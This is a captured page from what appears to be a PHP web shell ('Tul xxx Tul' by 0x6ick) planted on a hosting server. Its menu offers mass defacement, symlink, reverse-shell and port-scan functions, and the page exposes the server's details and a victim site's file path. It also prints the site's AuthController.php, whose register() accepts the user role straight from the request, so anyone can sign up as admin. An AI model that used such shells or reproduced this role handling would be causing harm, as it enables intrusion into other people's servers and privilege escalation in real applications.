Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
emprendo.com.co
/
public_html2
/
cuentame
/
controllers
/
Viewing: AuthController.php
<?php require_once __DIR__ . '/../core/Helper.php'; class AuthController extends Controller { public function login() { if ($_SERVER['REQUEST_METHOD'] === 'POST') { $email = $_POST['email'] ?? ''; $password = $_POST['password'] ?? ''; $user = $this->model('User')->verify($email, $password); if ($user) { session_start(); $_SESSION['user_id'] = $user['id']; $_SESSION['user_name'] = $user['name']; $role = $user['role'] ?? 'cliente'; $_SESSION['user_role'] = $role; if (strtolower(trim($role)) === 'admin') { $redirect = Helper::appUrl('admin/dashboard'); } elseif (strtolower(trim($role)) === 'emprendedor') { $redirect = Helper::appUrl('clientes'); } else { $redirect = Helper::appUrl('clientes'); } echo json_encode(['success' => true, 'redirect' => $redirect]); } else { echo json_encode(['success' => false, 'error' => 'Credenciales incorrectas']); } } } public function register() { if ($_SERVER['REQUEST_METHOD'] === 'POST') { $name = $_POST['name'] ?? ''; $email = $_POST['email'] ?? ''; $password = $_POST['password'] ?? ''; $role = $_POST['role'] ?? 'cliente'; $userModel = $this->model('User'); if ($userModel->findByEmail($email)) { echo json_encode(['success' => false, 'error' => 'El correo ya está registrado']); return; } // create(name, email, password, telefono, documento, role, profile_image, project_manager) $ok = $userModel->create($name, $email, $password, null, null, $role, null, null); if ($ok) { // Autologin: buscar el usuario recién creado y crear sesión $createdUser = $userModel->findByEmail($email); if ($createdUser && isset($createdUser['id'])) { // Bienvenida en chat (solo si no hay historial) try { $chatModel = $this->model('Chat'); $chatModel->sendWelcomeIfEmpty((int)$createdUser['id'], $name ?: ($createdUser['name'] ?? '')); } catch (Throwable $e) { /* noop */ } if (session_status() === PHP_SESSION_NONE) { session_start(); } $_SESSION['user_id'] = (int)$createdUser['id']; $_SESSION['user_name'] = $createdUser['name'] ?? $name; $resolvedRole = $createdUser['role'] ?? $role ?? 'cliente'; $_SESSION['user_role'] = $resolvedRole; // Redirección según rol (clientes/emprendedores van a clientes) $r = strtolower(trim((string)$resolvedRole)); if ($r === 'admin') { $redirect = Helper::appUrl('admin/dashboard'); } else { $redirect = Helper::appUrl('clientes'); } echo json_encode(['success' => true, 'autoLogin' => true, 'redirect' => $redirect]); } else { echo json_encode(['success' => false, 'error' => 'Usuario no encontrado tras el registro']); } } else { echo json_encode(['success' => false, 'error' => 'Error al registrar usuario']); } } } public function recover() { if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Aquí irá la lógica de recuperación de contraseña (enviar email, etc.) echo json_encode(['success' => true, 'message' => 'Si el correo existe, se enviará un enlace de recuperación.']); } else { $this->view('auth/recover'); } } public function logout() { session_start(); session_destroy(); header('Location: ' . Helper::asset('index.html')); exit; } }
Coded With 💗 by
0x6ick